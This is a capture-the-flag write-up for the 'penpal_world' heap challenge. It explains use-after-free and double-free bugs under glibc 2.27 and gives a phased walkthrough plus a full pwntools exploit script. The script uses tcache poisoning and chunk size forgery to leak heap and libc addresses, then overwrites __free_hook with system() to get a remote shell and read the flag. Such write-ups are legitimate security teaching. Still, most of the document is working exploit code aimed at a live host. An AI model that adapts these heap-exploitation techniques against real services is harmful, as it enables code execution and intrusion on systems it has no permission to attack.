RedpwnCTF penpal_world
RedpwnCTF penpal_world
Platform: spbctf | Category: pwn | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-07-05 | Status: Solved Techniques: chunk_size_forgery, free_hook_overwrite_system, tcache_double_free, tcache_fd_poisoning, unsorted_bin_libc_leak
Summary
Task: heap exploitation challenge with UAF/double-free in glibc 2.27 tcache, menu-based allocator with 2 slots and 34 operations. Solution: tcache double-free for heap leak, chunk size forgery (0x51→0x91) to reach unsorted bin for libc leak, tcache poisoning to overwrite __free_hook with system(), trigger via free("/bin/sh").
RedpwnCTF penpal_world — spbctf
Description
Classic heap exploitation challenge from RedpwnCTF 2019 (penpal_world), re-hosted on spbctf platform. Target: nc 109.233.56.90 11753 Files provided: penpal_world (ELF 64-bit), libc-2.27.so
Menu-based heap manager with 4 operations (create, edit, discard, display) and a global letters[] array with only 2 slots (index 0 and 1). The goal is to exploit UAF/double-free bugs to get a shell and read /flag.
Analysis
Binary Properties
- Architecture: ELF 64-bit LSB PIE executable, x86-64, dynamically linked, not stripped
- Protections: Full RELRO, Stack Canary, NX enabled, PIE enabled
- libc: glibc 2.27 — tcache has no key/count integrity checks, making double-free trivial
Menu Operations
| Option | Function | Behavior |
|---|---|---|
| 1 | create_card | malloc(0x48) → 0x50 chunk, stored in letters[index] |
| 2 | edit_card | read(0, letters[index], 0x48) — no NULL check on pointer |
| 3 | discard | free(letters[index]) — does NOT null the pointer |
| 4 | display | puts(letters[index]) — prints content of freed chunk |
The main loop runs exactly 34 times (0x22 iterations), so the exploit must be economical with operations.
Vulnerabilities
- Use-After-Free / Double-Free:
discardfrees without clearing the pointer inletters[]. In glibc 2.27, tcache has no key/count integrity checks, so double-free creates a self-referencing tcache entry. - UAF Write:
edit_cardwrites into the chunk pointer even after free → enables tcache fd poisoning. - UAF Read:
displaycallsputs()on freed chunk → leaks tcache fd (heap addresses) or unsorted bin fd/bk (libc addresses).
Key Challenge
The fixed malloc(0x48) size means all chunks are 0x50. To get a libc leak via the unsorted bin, we need a chunk larger than tcache max for its size class (7 entries). But we can't directly allocate larger chunks. The solution: forge a chunk with size 0x91 via tcache poisoning, then free it 8 times — 7 fill tcache[0x90], the 8th goes to the unsorted bin.
Key Offsets (libc-2.27.so)
| Symbol | Offset |
|---|---|
__free_hook | 0x3ed8e8 |
system | 0x4f440 |
main_arena+96 | 0x3ebca0 |
__malloc_hook | 0x3ebc30 |
Solution
The exploit chain has 5 phases, all fitting within the 34-operation budget.
Phase 1: Heap Leak via Double-Free
add(0) # allocate 0x50 chunk at slot 0
edit(0, 'A'*0x30 + p64(0) + p64(0x51)) # fake next-chunk header for free() checks
free(0); free(0) # double-free: tcache[0x50] → chunk → chunk (self-loop)
read(0) # puts() prints fd = heap address of chunk
heap_base = leaked_value - 0x60
The double-free creates a self-referencing tcache entry. The fd pointer points to the chunk itself, which puts() leaks.
Phase 2: Forge a 0x91-sized Chunk via Tcache Poisoning
edit(0, p64(heap+0x90)) # poison tcache[0x50] fd → heap+0x90 (inside chunk data area)
add(0) # pops real chunk (self-loop entry)
add(1) # pops fake chunk at heap+0x90 → slot 1
add(0) # fresh chunk for slot 0
edit(0, 'B'*0x30 + p64(0) + p64(0x51)) # set up slot 0 metadata
edit(1, p64(0) + p64(0x91) + p64(0) + p64(0x91)) # OVERWRITE slot 0's size: 0x51 → 0x91
Slot 1 points into the metadata area of slot 0's chunk, allowing us to change its size field from 0x51 to 0x91. We also set up fake adjacent chunk headers to pass glibc's _int_free security checks:
add(1); edit(1, 'C'*0x30 + p64(0) + p64(0x51)) # fake next-chunk with valid prev_inuse
add(1); edit(1, 'D'*0x30 + p64(0) + p64(0x51)) # another fake chunk for validation
Phase 3: Libc Leak via Unsorted Bin
for i in range(7): free(0) # fill tcache[0x90] (7 entries max)
free(0) # 8th free → unsorted bin! fd/bk = main_arena+96
read(0) # puts() leaks unsorted bin fd
libc_base = leaked_value - 0x3ebca0
After 7 frees fill the tcache[0x90] bin, the 8th free sends the chunk to the unsorted bin. The fd/bk pointers now contain main_arena+96, giving us the libc base.
Phase 4: __free_hook Overwrite
free(1) # free slot 1 into tcache[0x90]
edit(1, p64(FREE_HOOK)) # poison tcache[0x90] fd → __free_hook
add(0) # pop slot 1's chunk
add(0) # pop __free_hook as "chunk" → slot 0 points at __free_hook
edit(0, p64(SYSTEM)) # write system() address into __free_hook
Phase 5: Trigger Shell
edit(1, b'/bin/sh\x00') # write "/bin/sh" into slot 1's chunk
free(1) # free(ptr) → __free_hook(ptr) = system("/bin/sh") → shell!
cat /flag → spbctf{REDACTED}
Full Working Exploit
python read-only • copy allowed#!/usr/bin/env python3 from pwn import * import sys context.arch = 'amd64' context.log_level = 'debug' filename = "./penpal_world" libc = ELF('./libc-2.27.so', checksec=False) HOST = "109.233.56.90" PORT = 11753 r = remote(HOST, PORT) def add(index): r.sendlineafter(b'4) Read a postcard\n', b'1') r.sendlineafter(b'Which envelope #?\n', str(index).encode()) def edit(index, content): r.sendlineafter(b'4) Read a postcard\n', b'2') r.sendlineafter(b'Which envelope #?\n', str(index).encode()) r.sendafter(b'Write.\n', content) def free(index): r.sendlineafter(b'4) Read a postcard\n', b'3') r.sendlineafter(b'Which envelope #?\n', str(index).encode()) def read(index): r.sendlineafter(b'4) Read a postcard\n', b'4') r.sendlineafter(b'Which envelope #?\n', str(index).encode()) # Phase 1: Heap leak via double-free add(0) edit(0, b'A'*0x30 + p64(0x0) + p64(0x51)) free(0) free(0) read(0) heap = u64(r.recv(6).ljust(8, b'\x00')) - 0x60 log.success('heap base = 0x%x' % heap) # Phase 2: Forge 0x91-sized chunk via tcache poisoning edit(0, p64(heap + 0x90)) add(0) add(1) add(0) edit(0, b'B'*0x30 + p64(0x0) + p64(0x51)) edit(1, p64(0) + p64(0x91) + p64(0) + p64(0x91)) add(1) edit(1, b'C'*0x30 + p64(0x0) + p64(0x51)) add(1) edit(1, b'D'*0x30 + p64(0x0) + p64(0x51)) # Phase 3: Libc leak via unsorted bin for i in range(7): free(0) free(0) read(0) l = u64(r.recv(6).ljust(8, b'\x00')) LIBC_BASE = l - 0x3ebca0 log.success('libc base = 0x%x' % LIBC_BASE) # Phase 4: __free_hook overwrite FREE_HOOK = LIBC_BASE + libc.symbols['__free_hook'] SYSTEM = LIBC_BASE + libc.symbols['system'] free(1) edit(1, p64(FREE_HOOK)) add(0) add(0) edit(0, p64(SYSTEM)) log.success('free_hook overwritten with system') # Phase 5: Trigger shell edit(1, b'/bin/sh\x00') free(1) r.sendline(b'echo PWNED_SHELL; id; cat /flag') r.recvline(timeout=5) print("OUT:", r.recvrepeat(3)) r.interactive()
What Failed
- one_gadget via __malloc_hook: All three one_gadget offsets (0x4f2c5, 0x4f322, 0x10a38c) targeting
__malloc_hookfailed. The rsp/rcx constraints were not satisfied at the malloc call site, causing immediate crash/connection close. - The
__free_hook = system+free("/bin/sh")approach was reliable and worked on first try, sincefree()passes the chunk pointer as the first argument — exactly whatsystem()needs.